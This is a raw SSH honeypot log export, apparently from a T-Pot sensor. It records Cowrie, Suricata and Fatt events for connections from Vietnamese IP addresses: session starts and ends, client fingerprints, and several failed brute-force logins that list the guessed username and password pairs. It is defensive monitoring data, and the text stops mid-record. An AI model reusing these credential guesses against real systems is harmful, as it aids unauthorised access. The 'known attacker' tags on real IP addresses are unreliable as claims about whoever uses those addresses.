24440	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:44.713646+03	2021-09-20 14:15:08.794472+03	{"_id": "TAbkAnwBvYTbRNuE3BM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/jiamima] failed", "session": "739764ead67a", "@version": "1", "password": "jiamima", "username": "root", "timestamp": "2021-09-20T11:08:44.713646Z", "@timestamp": "2021-09-20T11:08:44.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24430	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:43.453151+03	2021-09-20 14:15:08.7815+03	{"_id": "PgbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "739764ead67a", "@version": "1", "timestamp": "2021-09-20T11:08:43.453151Z", "@timestamp": "2021-09-20T11:08:43.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24431	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:43.511849+03	2021-09-20 14:15:08.782496+03	{"_id": "PwbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ef4e7b658f71", "@version": "1", "timestamp": "2021-09-20T11:08:43.511849Z", "@timestamp": "2021-09-20T11:08:43.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24432	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.660189+03	2021-09-20 14:15:08.7845+03	{"_id": "QAbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "33246fa34203", "@version": "1", "duration": 3.1018712520599365, "timestamp": "2021-09-20T11:08:43.660189Z", "@timestamp": "2021-09-20T11:08:43.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24433	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.752933+03	2021-09-20 14:15:08.785472+03	{"_id": "QQbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6403eef19224", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:43.752933Z", "@timestamp": "2021-09-20T11:08:43.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24434	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:43.910947+03	2021-09-20 14:15:08.7865+03	{"_id": "QgbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [public/123456789] failed", "session": "235b59fbd42d", "@version": "1", "password": "123456789", "username": "public", "timestamp": "2021-09-20T11:08:43.910947Z", "@timestamp": "2021-09-20T11:08:43.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24435	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:44.24106+03	2021-09-20 14:15:08.787506+03	{"_id": "QwbkAnwBvYTbRNuE2BNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6403eef19224", "@version": "1", "timestamp": "2021-09-20T11:08:44.241060Z", "@timestamp": "2021-09-20T11:08:44.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24436	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:44.74576+03	2021-09-20 14:15:08.788501+03	{"_id": "RAbkAnwBvYTbRNuE2hOy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 185731225808875, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41536, "dest_port": 22, "timestamp": "2021-09-20T11:08:44.745760Z", "@timestamp": "2021-09-20T11:08:44.745Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24437	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:44.745886+03	2021-09-20 14:15:08.7905+03	{"_id": "RQbkAnwBvYTbRNuE2xOi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41536, "timestamp": "2021-09-20T11:08:44.745886", "@timestamp": "2021-09-20T11:08:44.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24438	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:44.469205+03	2021-09-20 14:15:08.791501+03	{"_id": "RwbkAnwBvYTbRNuE3BM9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41536 (192.168.176.2:22) [session: dba6d2dc9982]", "session": "dba6d2dc9982", "@version": "1", "protocol": "ssh", "src_port": 41536, "dest_port": 22, "timestamp": "2021-09-20T11:08:44.469205Z", "@timestamp": "2021-09-20T11:08:44.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24439	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:44.399137+03	2021-09-20 14:15:08.793499+03	{"_id": "SwbkAnwBvYTbRNuE3BM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [qq/qq] failed", "session": "36aa425c0db2", "@version": "1", "password": "qq", "username": "qq", "timestamp": "2021-09-20T11:08:44.399137Z", "@timestamp": "2021-09-20T11:08:44.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24441	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:45.791856+03	2021-09-20 14:15:08.7965+03	{"_id": "VgbkAnwBvYTbRNuE4BMo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ef4e7b658f71", "@version": "1", "duration": 2.661196231842041, "timestamp": "2021-09-20T11:08:45.791856Z", "@timestamp": "2021-09-20T11:08:45.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24442	fe80:0000:0000:0000:c2ee:fbff:fedc:38af	109.199.241.180	Suricata	2021-09-20 14:08:48.432646+03	2021-09-20 14:15:08.7975+03	{"_id": "rgbkAnwBvYTbRNuE6hNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:48.432646+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:c2ee:fbff:fedc:38af", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1218202709301766, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:48.432646Z", "@timestamp": "2021-09-20T11:08:48.432Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24443	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:49.192828+03	2021-09-20 14:15:08.7985+03	{"_id": "tAbkAnwBvYTbRNuE6xNG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 